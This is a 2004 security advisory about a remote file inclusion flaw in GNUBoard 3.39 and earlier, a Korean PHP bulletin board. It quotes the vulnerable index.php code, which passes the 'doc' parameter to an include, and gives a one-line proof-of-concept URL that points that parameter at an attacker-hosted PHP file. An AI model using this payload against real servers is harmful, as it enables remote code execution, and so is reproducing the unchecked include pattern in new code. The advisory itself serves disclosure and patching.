[UNIX] GNUBoard PHP Injection Vulnerability

From: SecuriTeam (support_at_securiteam.com)
Date: 12/16/04

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Date: 16 Dec 2004 14:02:45 +0200

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      GNUBoard PHP Injection Vulnerability
    ------------------------------------------------------------------------

    SUMMARY

    GNUBoard is "one of widely used web BBS applications in Korea. Because of
    an input validation flaw, a malicious attack can run arbitrary commands
    with the privilege of the HTTPD process, which is typically run as the
    nobody user".

    A vulnerability in GNUBoard allows a remote attacker to cause the program
    to include arbitrary files.

    DETAILS

    Vulnerable Systems:
     * GNUBoard version 3.39 and prior

    Immune Systems:
     * GNUBoard version 3.40

    Due to improper verification of input value of the parameter, the "doc"
    parameter in "index.php" can be exploited to include arbitrary files of
    external or local resources to execute arbitary commands.

    Vulnerable code:
    In the file index.php, the following code can be seen:
    if (!$doc) { (1) <-- check point
        $doc = './main.php';
    }

    // php ??? ??? ??? ? ??
    $tmp = explode(".", $doc);
    $extension = $tmp[count($tmp)-1];
    if (!preg_match("/^(php[3]?|[p]?htm[l]?)$/i", $extension) ||
    count($tmp)<=1)
    {
        echo "php php3 htm html phtml ??? ??? ? ????.";
        exit;
    }
    .....
    ob_start();
    include $doc; (2) <-- include point

    Proof of concept:
    http://[victim]/gnu3/index.php?doc=http://[attacker]/[attack].php

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:advisory@stgsecurity.com>
    STG Security Advisory.

    ========================================

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